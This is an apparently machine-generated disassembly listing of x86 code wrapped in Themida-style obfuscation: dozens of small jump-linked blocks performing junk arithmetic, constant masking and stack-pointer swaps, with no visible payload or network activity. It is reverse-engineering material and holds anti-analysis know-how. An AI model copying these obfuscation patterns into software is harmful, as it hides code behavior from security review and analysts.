loc_56DF42:				; CODE XREF: sub_56207C+B684j
		mov	esp, [esp-10h+arg_C]
		push	4123h
		mov	[esp-0Ch+arg_8], ebx
		push	ecx
		mov	cl, dl
		sub	esp, 4
		jmp	loc_564F51
; ---------------------------------------------------------------------------


loc_56DF58:				; CODE XREF: sub_56207C+8FF3j
		mov	ecx, 5CB7736Bh
		xor	ecx, 7C8936A1h
		sub	esp, 4
		mov	[esp+56h+var_58+2], eax
		jmp	loc_560F21
; ---------------------------------------------------------------------------


loc_56DF71:				; CODE XREF: sub_56207C-2943j
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		sub	eax, 4D53012h
		push	ebp
		mov	ebp, 1D433F27h
		jmp	loc_5621DA
; ---------------------------------------------------------------------------


loc_56DF87:				; CODE XREF: sub_56207C+5CEDj
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		inc	edi
		sub	edi, 4CC19B3h
		sub	edi, 0FB48E694h
		add	ebp, edi
		jmp	loc_56057F
; ---------------------------------------------------------------------------


loc_56DFA2:				; CODE XREF: sub_56207C+2018j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+28h+var_28]
		pop	esp
		add	edi, 2
		xor	edi, [esp+24h+var_24]
		xor	[esp+24h+var_24], edi
		jmp	loc_56339E
; ---------------------------------------------------------------------------


loc_56DFC3:				; CODE XREF: sub_56207C-971j
		add	ebx, 4
		push	540Fh
		mov	[esp+40h+var_40], edx
		push	esi
		push	3114158Ch
		pop	esi
		xchg	edi, esi
		jmp	loc_56636F
; ---------------------------------------------------------------------------


loc_56DFDF:				; CODE XREF: sub_56207C+D99Bj
		push	cx
		jmp	loc_566224
; ---------------------------------------------------------------------------


loc_56DFE6:				; CODE XREF: sub_56207C+DEE2j
		pop	esp
		mov	[esp+42h+var_44+2], ecx
		jmp	loc_571919
; ---------------------------------------------------------------------------


loc_56DFEF:				; CODE XREF: sub_56207C+34DFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		mov	[esp+28h+var_28], eax
		jmp	loc_56B05C
; ---------------------------------------------------------------------------


loc_56E00C:				; CODE XREF: sub_56207C+100C4j
		sub	[esp+28h+var_28], 43935902h
		jmp	loc_565436
; ---------------------------------------------------------------------------


loc_56E018:				; CODE XREF: sub_56207C+3F8Ej
		mov	dh, 3Eh
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		jmp	loc_568C49
; ---------------------------------------------------------------------------


loc_56E025:				; CODE XREF: sub_56207C+8A14j
		push	ebx
		jmp	loc_56C3DB
; ---------------------------------------------------------------------------


loc_56E02B:				; CODE XREF: sub_56207C+11354j
		add	eax, ebx
		add	eax, 1A517508h
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 3AB50CA5h
		jmp	loc_5651E5
; ---------------------------------------------------------------------------


loc_56E044:				; CODE XREF: sub_56207C-5DCj
		mov	edi, 3D4D20C1h
		xor	edi, 76107D43h
		sub	edi, 565E349Bh
		xor	edi, esi
		xor	esi, edi
		jmp	loc_5668CA
; ---------------------------------------------------------------------------


loc_56E05E:				; CODE XREF: sub_56207C+7857j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_568B0E
; ---------------------------------------------------------------------------


loc_56E067:				; CODE XREF: sub_56207C+54FEj
		sub	ebp, ebx
		pop	ebx
		jmp	loc_568524
; ---------------------------------------------------------------------------


loc_56E06F:				; CODE XREF: sub_56207C-2B3Fj
		sub	eax, 634C5CFAh
		push	[esp+20h+var_20]
		pop	esi
		add	esp, 4
		add	ebx, 467B2AF8h
		sub	ebx, eax
		sub	esp, 4
		mov	[esp+20h+var_20], eax
		mov	eax, 686676D8h
		jmp	loc_566CB1
; ---------------------------------------------------------------------------


loc_56E096:				; CODE XREF: sub_56207C+EB94j
		mov	esp, [esp+20h+var_20]
		dec	[esp+20h+var_20]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E0A2:				; DATA XREF: Themida_:0055E2ECo
		lodsb
		jmp	loc_572C61
; ---------------------------------------------------------------------------


loc_56E0A8:				; CODE XREF: sub_56207C+B55Dj
		push	[esp+44h+var_40]
		pop	edi
		jmp	loc_568566
; ---------------------------------------------------------------------------


loc_56E0B2:				; CODE XREF: sub_56207C-182Dj
		mov	ecx, 1C50501Fh
		mov	esi, ecx
		pop	ecx
		and	ecx, esi
		pop	esi
		sub	ecx, 48341E07h
		or	ecx, 34026963h
		add	ecx, 0BF41495h
		add	ebx, ecx
		jmp	loc_56BB6F
; ---------------------------------------------------------------------------


loc_56E0D6:				; CODE XREF: sub_56207C+9909j
		push	esi
		xchg	eax, [esp+38h+var_38]
		xchg	eax, ecx
		not	ecx
		jmp	loc_56B578
; ---------------------------------------------------------------------------


loc_56E0E2:				; CODE XREF: sub_56207C+8B22j
		or	eax, eax
		jz	loc_56974D
		push	dword ptr [edi+28h]
		push	ecx
		mov	ecx, 53874FD5h
		add	[esp+24h+var_20], ecx
		jmp	loc_56B663
; ---------------------------------------------------------------------------


loc_56E0FC:				; CODE XREF: sub_55F005+15j
		push	edx
		sub	esp, 4
		push	75A7h
		mov	[esp+30h+var_30], esp
		add	[esp+30h+var_30], 4
		pop	[esp+30h+var_30]
		push	ebx
		jmp	loc_56670C
; ---------------------------------------------------------------------------


loc_56E118:				; CODE XREF: sub_56207C+DDE8j
		xor	[edi+24h], edx
		push	6CEBh
		mov	[esp+34h+var_34], ecx
		push	edx
		mov	edx, 62A7371Ch
		mov	ecx, 62A7371Dh
		add	ecx, 2D993808h
		sub	ecx, edx
		push	ebx
		mov	ebx, 5F866777h
		neg	ebx
		not	ebx
		inc	ebx
		add	ebx, 49EF1D24h
		sub	ebx, 7BDC4C93h
		jmp	loc_5685F0
; ---------------------------------------------------------------------------


loc_56E152:				; CODE XREF: sub_56207C-2760j
		push	ebx
		mov	ebx, 7B3D778Ch
		jmp	loc_566256
; ---------------------------------------------------------------------------


loc_56E15D:				; CODE XREF: sub_56207C+114EEj
		push	ebx
		jmp	loc_56C2A6
; ---------------------------------------------------------------------------


loc_56E163:				; CODE XREF: sub_56207C+B04Fj
		mov	eax, 4
		add	ecx, 0CFE78BCh
		add	ecx, eax
		jmp	loc_56CF31
; ---------------------------------------------------------------------------


loc_56E175:				; CODE XREF: sub_56207C+90E4j
		pop	ecx
		pop	ecx
		push	ebx
		mov	ebx, 1E5E40FBh
		add	ecx, ebx
		pop	ebx
		pop	eax
		jmp	loc_56F0FD
; ---------------------------------------------------------------------------


loc_56E186:				; CODE XREF: sub_56207C+527Fj
		push	58ED55EDh
		pop	ecx
		dec	ecx
		jmp	loc_561224
; ---------------------------------------------------------------------------


loc_56E192:				; CODE XREF: sub_56207C+3727j
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		add	esp, 4
		xor	ebp, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4


loc_56E1B3:				; CODE XREF: sub_56207C-1F16j
		push	ecx
		jmp	loc_57031E
; ---------------------------------------------------------------------------


loc_56E1B9:				; CODE XREF: sub_56207C+B239j
		push	esi
		jmp	loc_5649D3
; ---------------------------------------------------------------------------


loc_56E1BF:				; CODE XREF: sub_56207C+2082j
		neg	ebx
		jmp	loc_56A811
; ---------------------------------------------------------------------------


loc_56E1C6:				; CODE XREF: sub_56207C+F7C3j
		push	ebx
		mov	bh, dh
		jmp	loc_572CB7
; ---------------------------------------------------------------------------


loc_56E1CE:				; CODE XREF: sub_56207C+ADD4j
		sub	ebp, 70E249DFh
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		push	edx
		mov	edx, 6717328h
		push	0BCBh
		mov	[esp+30h+var_30], eax
		mov	eax, 0
		jmp	loc_56385E
; ---------------------------------------------------------------------------


loc_56E1FB:				; CODE XREF: sub_56207C+B53Bj
		add	esp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56C067
; ---------------------------------------------------------------------------


loc_56E206:				; CODE XREF: sub_56207C+59BEj
		sub	ecx, 5D5A5334h
		mov	ebx, [esp-8+arg_4]
		push	edi
		push	esp
		jmp	loc_571730
; ---------------------------------------------------------------------------


loc_56E216:				; CODE XREF: sub_56207C+11181j
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E222:				; CODE XREF: sub_56207C+F3DDj
		push	edx
		jmp	loc_5662FE
; ---------------------------------------------------------------------------
		neg	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		not	[esp+8+var_8]
		pop	ecx
		add	ecx, 0B47CE61h
		add	esi, ecx
		pop	ecx
		mov	ecx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		xchg	esi, [esp+0]
		jmp	loc_562163
; ---------------------------------------------------------------------------


loc_56E263:				; CODE XREF: sub_56207C+F8F9j
		sub	esi, 8049C8h
		xor	esi, 0F1257108h
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_57256E
; ---------------------------------------------------------------------------


loc_56E278:				; CODE XREF: sub_56207C+EE4j
		add	ebx, 42CF0DC3h
		push	[esp+1Ch+var_1C]
		mov	esi, [esp+20h+var_20]
		jmp	loc_56D0B6
; ---------------------------------------------------------------------------


loc_56E289:				; CODE XREF: sub_56207C+B9A5j
		add	ecx, 4
		xchg	ecx, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		push	7994h
		mov	[esp+42h+var_44+2], edx
		push	esi
		mov	esi, 24743F4h
		mov	edx, 61C5EA51h
		add	edx, esi
		pop	esi
		push	edi
		push	56C4EFCh
		pop	edi
		add	edi, 0FFFFFFFFh
		dec	edi
		jmp	loc_56BCCB
; ---------------------------------------------------------------------------


loc_56E2BB:				; CODE XREF: sub_56207C+1FAFj
		add	ecx, ebx
		jmp	loc_565E65
; ---------------------------------------------------------------------------


loc_56E2C2:				; CODE XREF: sub_56207C+3FDj
		mov	[esp+42h+var_44+2], ebx
		push	4368h
		mov	[esp+46h+var_48+2], ecx
		push	1B975E77h
		pop	ecx
		add	ecx, 0FD96AD40h
		mov	ebx, ecx
		mov	ecx, [esp+46h+var_48+2]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		jmp	loc_572108
; ---------------------------------------------------------------------------


loc_56E2E9:				; CODE XREF: sub_56207C+A8j
		inc	eax
		xor	eax, 6FEB3464h
		shl	eax, 3
		push	ebp
		mov	ebp, 0CEA6DD75h
		add	eax, ebp
		pop	ebp
		jmp	loc_56E984
; ---------------------------------------------------------------------------


loc_56E300:				; CODE XREF: sub_56207C+6223j
		mov	edi, 6B233051h
		sub	[esp+24h+var_1C], 2E315FC4h
		add	[esp+24h+var_1C], edi
		jmp	loc_56B4E2
; ---------------------------------------------------------------------------


loc_56E316:				; CODE XREF: sub_56207C+11570j
		shr	dl, 3
		jmp	loc_567C85
; ---------------------------------------------------------------------------


loc_56E31E:				; CODE XREF: sub_56207C+1141j
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56D9A3
; ---------------------------------------------------------------------------


loc_56E32E:				; CODE XREF: sub_56207C+D449j
		pop	ecx
		and	ebx, eax
		pop	eax
		shl	ebx, 1
		push	64B6h
		mov	[esp+74h+var_74], ebp
		mov	ebp, 361362Ah
		or	ebp, 56F06838h
		dec	ebp
		neg	ebp
		xor	ebp, 4A0C7DACh
		xor	ebp, 99FD8669h
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		push	[esp+70h+var_70]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+78h+var_74]
		pop	ebx
		pop	[esp+78h+var_78]
		mov	esp, [esp+74h+var_74]
		push	ebx
		jmp	loc_5659D8
; ---------------------------------------------------------------------------


loc_56E380:				; CODE XREF: sub_56207C+CC1j
		cmp	cx, ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E389:				; CODE XREF: sub_56207C+F566j
		add	bh, 5Bh
		xor	dh, bh
		pop	ebx
		or	ch, dh
		pop	edx
		push	edx
		mov	dl, 0B7h
		or	ch, dl
		jmp	loc_56CE41
; ---------------------------------------------------------------------------


loc_56E39C:				; CODE XREF: sub_56207C+1EBBj
		inc	edx
		jmp	loc_56A26C
; ---------------------------------------------------------------------------


loc_56E3A2:				; CODE XREF: sub_56207C+2357j
		mov	eax, [esp+26h+var_28+2]
		jmp	loc_56C029
; ---------------------------------------------------------------------------


loc_56E3AA:				; CODE XREF: sub_56207C+F5CFj
		dec	ebp
		not	ebp
		add	ebp, 0A8E33217h
		and	eax, ebp
		pop	ebp
		and	eax, 2D330647h
		add	eax, 0DFFF0004h
		add	esi, eax
		pop	eax
		xor	esi, [esp+1Eh+var_20+2]
		jmp	loc_572FE0
; ---------------------------------------------------------------------------


loc_56E3CB:				; CODE XREF: sub_56207C+5B9Cj
		add	esp, 4
		pop	edi
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		jmp	loc_5654BE
; ---------------------------------------------------------------------------


loc_56E3DD:				; CODE XREF: sub_56207C-29FBj
		add	eax, 47918E5h
		add	eax, 40C57090h
		add	ebx, eax
		pop	eax
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		push	ebp
		push	edx
		push	eax
		mov	eax, 6A8D152Ah
		not	eax
		inc	eax
		add	eax, 495229B0h
		add	eax, 574C65BEh
		jmp	loc_571FDF
; ---------------------------------------------------------------------------


loc_56E40A:				; CODE XREF: sub_56207C+2B87j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E40F:				; CODE XREF: sub_56207C+52EBj
		push	ebx
		mov	bl, 40h
		mov	cl, bl
		pop	ebx
		mov	bl, 30h
		sub	bl, cl
		pop	ecx
		shl	bl, 1
		jmp	loc_565E9F
; ---------------------------------------------------------------------------


loc_56E421:				; CODE XREF: sub_56207C+3B88j
		not	edi
		add	edi, 41336034h
		jmp	loc_5624C1
; ---------------------------------------------------------------------------


loc_56E42E:				; CODE XREF: sub_56207C+22B2j
		pop	ebx
		jmp	loc_55E93A
; ---------------------------------------------------------------------------


loc_56E434:				; CODE XREF: sub_56207C+AC12j
		mov	eax, ebx
		pop	ebx
		xor	esi, eax
		jmp	loc_56A9AD
; ---------------------------------------------------------------------------


loc_56E43E:				; CODE XREF: sub_56207C+DED3j
		sub	[esp+56h+var_50+2], edx
		pop	edx
		pop	edi
		push	eax
		mov	eax, 75B64D52h
		sub	[esp+52h+var_50+2], 39DA6D42h
		sub	[esp+52h+var_50+2], eax
		add	[esp+52h+var_50+2], 39DA6D42h
		pop	eax
		sub	[esp+4Eh+var_50+2], eax
		add	[esp+4Eh+var_50+2], 75B64D52h
		add	[esp+4Eh+var_50+2], 74C104A1h
		jmp	loc_56A497
; ---------------------------------------------------------------------------


loc_56E475:				; CODE XREF: sub_56207C+8220j
		xchg	eax, [esp-12h+arg_C+2]
		pop	esp
		add	eax, 77CE31A3h
		sub	[edi+24h], eax
		pop	eax


loc_56E482:				; CODE XREF: sub_56207C+560Bj
		push	87Ah
		jmp	loc_56AD2D
; ---------------------------------------------------------------------------


loc_56E48C:				; CODE XREF: sub_56207C+FE5Ej
		xor	al, dh
		push	[esp-16h+arg_10+2]
		mov	edx, [esp-12h+arg_C+2]
		add	esp, 4
		push	0E7Bh
		mov	[esp-12h+arg_C+2], ecx
		jmp	loc_56CFBF
; ---------------------------------------------------------------------------


loc_56E4A4:				; CODE XREF: Themida_:00561996j
		push	ecx
		push	ebx
		mov	bl, 0B7h
		mov	cl, bl
		jmp	loc_5706B1
; ---------------------------------------------------------------------------


loc_56E4AF:				; CODE XREF: sub_56207C+717Fj
		add	ebx, ebp
		pop	ebp
		sub	ebx, ebp
		sub	ebx, 289D4B2Fh
		pop	ebp
		mov	esi, ebx
		pop	ebx
		sub	[esp+18h+var_14], esi
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		push	ecx
		mov	ecx, 631904D0h
		jmp	loc_573300
; ---------------------------------------------------------------------------


loc_56E4DF:				; CODE XREF: sub_56207C+9E79j
		push	esi
		mov	esi, esp
		push	eax
		push	edx
		mov	edx, 8AA7FBAh
		mov	eax, edx
		pop	edx
		inc	eax
		push	7BF1h
		mov	[esp+46h+var_48+2], eax
		jmp	loc_564F0B
; ---------------------------------------------------------------------------


loc_56E4FA:				; CODE XREF: sub_56207C+CAD6j
		push	edx
		mov	edx, 467255C1h
		sub	edi, 5724270Ch
		jmp	loc_56C988
; ---------------------------------------------------------------------------


loc_56E50B:				; CODE XREF: sub_56207C+4364j
		pop	ebx
		xchg	ecx, [esp+0Eh+var_10+2]
		pop	esp
		push	[esp+0Ah+var_C+2]
		jmp	loc_56DCD3
; ---------------------------------------------------------------------------


loc_56E518:				; CODE XREF: sub_56207C-25EEj
		sub	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 57A90668h
		jmp	loc_5672B5
; ---------------------------------------------------------------------------


loc_56E52E:				; CODE XREF: sub_56207C+964Aj
		pop	edx
		push	ecx
		mov	ch, 55h
		sub	al, 42h
		sub	al, ch
		add	al, 42h
		mov	ecx, [esp+14h+var_14]
		jmp	loc_57269A
; ---------------------------------------------------------------------------


loc_56E540:				; CODE XREF: sub_56207C+A49j
		sub	ecx, 3B3C700Dh
		jmp	loc_562217
; ---------------------------------------------------------------------------


loc_56E54B:				; CODE XREF: sub_56207C-1D72j
		add	edx, 0FFFFFFFFh
		jmp	loc_570DC0
; ---------------------------------------------------------------------------


loc_56E556:				; CODE XREF: sub_56207C+7999j
		mov	bh, dh
		pop	edx
		mov	ch, bh
		push	[esp+30h+var_30]
		pop	ebx
		add	esp, 4
		pop	eax
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp+28h+var_28]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+30h+var_30], eax
		mov	eax, 4
		add	edx, 3656200Dh
		add	edx, eax
		sub	edx, 3656200Dh
		pop	eax
		add	edx, 4
		xchg	edx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		jmp	loc_562026
; ---------------------------------------------------------------------------


loc_56E59B:				; CODE XREF: sub_56207C+7750j
		and	edx, 8CA75B5h
		sub	edx, 0D4D086D3h
		mov	esi, edx
		pop	edx
		jmp	loc_5688EE
; ---------------------------------------------------------------------------


loc_56E5AF:				; CODE XREF: sub_56207C+FCCj
		push	edi
		mov	edi, 5B5C4026h
		dec	edi
		jmp	loc_55F74D
; ---------------------------------------------------------------------------


loc_56E5BB:				; CODE XREF: sub_56207C+2716j
		pop	cx
		add	al, ch
		add	al, 0D6h
		jmp	loc_562C64
; ---------------------------------------------------------------------------


loc_56E5C6:				; CODE XREF: sub_56207C+F11Bj
		mov	[esp+12h+var_14+2], ebp
		sub	esp, 4
		jmp	loc_571B29
; ---------------------------------------------------------------------------


loc_56E5D1:				; CODE XREF: sub_56207C-3B20j
		pop	ebx
		jmp	loc_55E679
; ---------------------------------------------------------------------------


loc_56E5D7:				; CODE XREF: sub_56207C+8874j
		push	40B33B66h
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		sub	ebp, 0C832EA51h
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		jmp	loc_572E3E
; ---------------------------------------------------------------------------


loc_56E5F2:				; CODE XREF: sub_56207C+94CFj
		mov	dx, 437Dh
		jmp	loc_56596A
; ---------------------------------------------------------------------------


loc_56E5FB:				; CODE XREF: sub_56207C+E135j
		pop	eax
		jmp	loc_569BB6
; ---------------------------------------------------------------------------


loc_56E601:				; CODE XREF: sub_56207C-1F1Dj
		add	esp, 4
		shl	bh, 6
		push	eax
		mov	al, 7Bh
		shl	al, 7
		jmp	loc_572848
; ---------------------------------------------------------------------------


loc_56E615:				; CODE XREF: sub_56207C+5A08j
		or	eax, eax
		jz	loc_56C5F4
		push	dword ptr [edi+1Ch]
		push	[esp+3Eh+var_40+2]
		jmp	loc_5607E7
; ---------------------------------------------------------------------------


loc_56E628:				; CODE XREF: sub_56207C+7108j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		pop	esp
		sub	al, 0DBh
		add	al, bl
		add	al, 0DBh
		push	[esp+30h+var_30]
		pop	ebx
		push	2ABBh
		mov	[esp+34h+var_34], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56B37E
; ---------------------------------------------------------------------------


loc_56E65C:				; CODE XREF: sub_56207C-3C03j
		push	ebx
		jmp	loc_56DD89
; ---------------------------------------------------------------------------


loc_56E662:				; CODE XREF: sub_56207C-1BE8j
		mov	al, 50h
		xor	dh, al
		pop	eax
		jmp	loc_570E54
; ---------------------------------------------------------------------------


loc_56E66C:				; CODE XREF: sub_56207C-3676j
		xor	esi, 1A5E363Ch
		not	esi
		jmp	loc_569D5A
; ---------------------------------------------------------------------------


loc_56E679:				; CODE XREF: sub_55EEE3+4j
		push	small 683Ch
		mov	word ptr [esp+28h+var_28], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E686:				; CODE XREF: sub_56207C+F8B2j
		or	eax, 59B21DEAh
		shl	eax, 3
		push	eax
		not	[esp+2Ch+var_2C]
		pop	eax
		xor	eax, 50623899h
		push	25FEh
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, 7BF92B1Ah
		xor	ecx, 526AA613h
		jmp	loc_56895D
; ---------------------------------------------------------------------------


loc_56E6B0:				; CODE XREF: sub_56207C+35C1j
		pop	esp
		mov	[esp+30h+var_30], ebx
		mov	bl, 0Dh
		xor	bl, 8Eh
		shl	bl, 6
		neg	bl
		xor	bl, 94h
		xor	bl, 0D5h
		add	dl, bl
		pop	ebx
		push	eax
		jmp	loc_5614DD
; ---------------------------------------------------------------------------


loc_56E6CD:				; CODE XREF: sub_56207C-A18j
		shr	ebx, 8
		jmp	loc_563B61
; ---------------------------------------------------------------------------


loc_56E6D5:				; CODE XREF: sub_56207C+8C0Cj
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, 5CFE1C4Bh
		shr	eax, 2
		push	ebp
		mov	ebp, 28923E1Fh
		jmp	loc_56E94F
; ---------------------------------------------------------------------------


loc_56E6EB:				; CODE XREF: sub_56207C+72E0j
		push	edx
		mov	edx, 1EE729BDh
		jmp	loc_5602FC
; ---------------------------------------------------------------------------


loc_56E6F6:				; CODE XREF: sub_56207C-32C4j
		mov	[esp+16h+var_18+2], esi
		push	4285h
		mov	[esp+1Ah+var_1C+2], esp
		add	[esp+1Ah+var_1C+2], 4
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_56DAA2
; ---------------------------------------------------------------------------


loc_56E716:				; CODE XREF: sub_56207C+F07j
		mov	ebx, [esp+18h+var_18]
		jmp	loc_55E87E
; ---------------------------------------------------------------------------


loc_56E71E:				; CODE XREF: sub_56207C-3771j
		xchg	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	esi, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56C706
; ---------------------------------------------------------------------------


loc_56E738:				; CODE XREF: sub_56207C+10B59j
		push	esp
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		push	[esp+14h+var_14]
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	eax
		jmp	loc_56D0DF
; ---------------------------------------------------------------------------


loc_56E75F:				; CODE XREF: sub_56207C+FC8Ej
		push	eax
		mov	eax, esp
		push	esi
		push	ebp
		jmp	loc_55F686
; ---------------------------------------------------------------------------


loc_56E769:				; CODE XREF: sub_56207C-C7Cj
		pop	ecx
		sub	ebx, 19362B1Eh
		jmp	loc_569A68
; ---------------------------------------------------------------------------


loc_56E775:				; CODE XREF: sub_56207C+10440j
		pop	[esp+10h+var_10]
		add	[esp+0Ch+var_C], 4
		mov	esi, [esp+0Ch+var_C]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56F4EF
; ---------------------------------------------------------------------------


loc_56E790:				; CODE XREF: sub_56207C+5B43j
		neg	ebx
		xor	ebx, 1F3A13C4h
		push	ecx
		mov	ecx, 3C1D2239h
		inc	ecx
		sub	ecx, 0E577AA36h
		add	ebx, ecx
		pop	ecx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		sub	ebx, 148F5203h
		sub	edx, 3BFA74F2h
		sub	edx, ebx
		add	edx, 3BFA74F2h
		jmp	loc_56A587
; ---------------------------------------------------------------------------


loc_56E7C7:				; CODE XREF: sub_56207C+B8AEj
		mov	esp, [esp+46h+var_48+2]
		mov	ax, word ptr [esp+46h+var_48+2]
		push	7742h
		mov	[esp+4Ah+var_4C+2], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, 5A3199Eh
		jmp	loc_56C086
; ---------------------------------------------------------------------------


loc_56E7EB:				; CODE XREF: sub_56207C-1D99j
		mov	[esp+0Ah+var_C+2], ecx
		push	1C83h
		mov	[esp+0Eh+var_10+2], ebx
		push	ecx
		mov	ch, 0B4h
		mov	bl, ch
		pop	ecx
		mov	cl, bl
		pop	ebx
		push	eax
		push	edx
		mov	dh, 0A1h
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		push	ecx
		mov	ch, dh
		mov	bh, ch
		pop	ecx
		mov	ah, bh
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		pop	edx
		push	ebx
		mov	bh, 5Dh
		shl	bh, 3
		add	bh, 0C7h
		or	bh, 0AFh
		sub	bh, 95h
		sub	ah, bh
		pop	ebx
		add	cl, ah
		mov	eax, [esp+0Eh+var_10+2]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 2CFD775Fh
		dec	eax
		jmp	loc_5724E6
; ---------------------------------------------------------------------------


loc_56E83E:				; CODE XREF: sub_56207C+1001j
		mov	ebx, esp
		jmp	loc_5713BE
; ---------------------------------------------------------------------------


loc_56E845:				; CODE XREF: sub_56207C+E0F0j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Eh+var_20+2]
		jmp	loc_56295D
; ---------------------------------------------------------------------------


loc_56E858:				; CODE XREF: sub_56207C-105Ej
		push	ebp
		jmp	loc_55F3DC
; ---------------------------------------------------------------------------


loc_56E85E:				; CODE XREF: sub_56207C+5719j
		push	eax
		mov	eax, 4
		push	esi
		mov	esi, 1CBC14C9h
		sub	ebp, esi
		pop	esi
		add	ebp, eax
		add	ebp, 1CBC14C9h
		pop	eax
		xchg	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		movsx	ecx, al
		push	499Fh
		mov	[esp+1Ah+var_1C+2], ecx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E88C:				; CODE XREF: sub_56207C+DAF8j
		sub	ah, dh
		pop	edx
		shr	ah, 7
		sub	ah, 0B1h
		add	dh, ah
		jmp	loc_56A467
; ---------------------------------------------------------------------------


loc_56E89C:				; CODE XREF: sub_55EE40+16j
		xor	esi, 248D48ACh
		shr	esi, 2
		push	ecx
		mov	ecx, 0EC332EC3h
		add	esi, ecx
		jmp	loc_5618DE
; ---------------------------------------------------------------------------


loc_56E8B2:				; CODE XREF: sub_56207C-1C81j
		mov	esi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		add	esi, 535D7EFCh
		inc	esi
		add	esi, 0F325CA03h
		or	eax, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		push	ebp
		mov	ebp, 264B54EDh
		or	ebp, 397E2230h
		jmp	loc_56A8D0
; ---------------------------------------------------------------------------


loc_56E8E3:				; CODE XREF: sub_56207C+99AAj
		push	eax
		jmp	loc_569AA1
; ---------------------------------------------------------------------------


loc_56E8E9:				; CODE XREF: sub_56207C+F315j
		pop	edi
		jmp	loc_5609DE
; ---------------------------------------------------------------------------


loc_56E8EF:				; CODE XREF: sub_56207C+F2DCj
		xor	ebx, eax
		pop	eax
		sub	ebx, edx
		jmp	loc_56B038
; ---------------------------------------------------------------------------


loc_56E8F9:				; CODE XREF: sub_56207C+3A81j
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ebp
		jmp	loc_55E59F
; ---------------------------------------------------------------------------


loc_56E908:				; CODE XREF: sub_56207C+10629j
		mov	[esp+2Ah+var_2C+2], edi
		push	esp
		jmp	loc_568617
; ---------------------------------------------------------------------------


loc_56E911:				; CODE XREF: sub_56207C+10ACEj
		or	ebp, esi
		jmp	loc_55F854
; ---------------------------------------------------------------------------


loc_56E918:				; CODE XREF: sub_56207C+8F6Ej
		xor	edi, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], edi
		xor	edi, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_560CE1
; ---------------------------------------------------------------------------


loc_56E927:				; CODE XREF: sub_56207C-1CA6j
		add	[esp+14h+var_10], ebx
		pop	ebx
		pop	edx
		push	esi
		push	ebp
		push	7614h
		mov	[esp+18h+var_18], esi
		mov	esi, 4
		jmp	loc_56942B
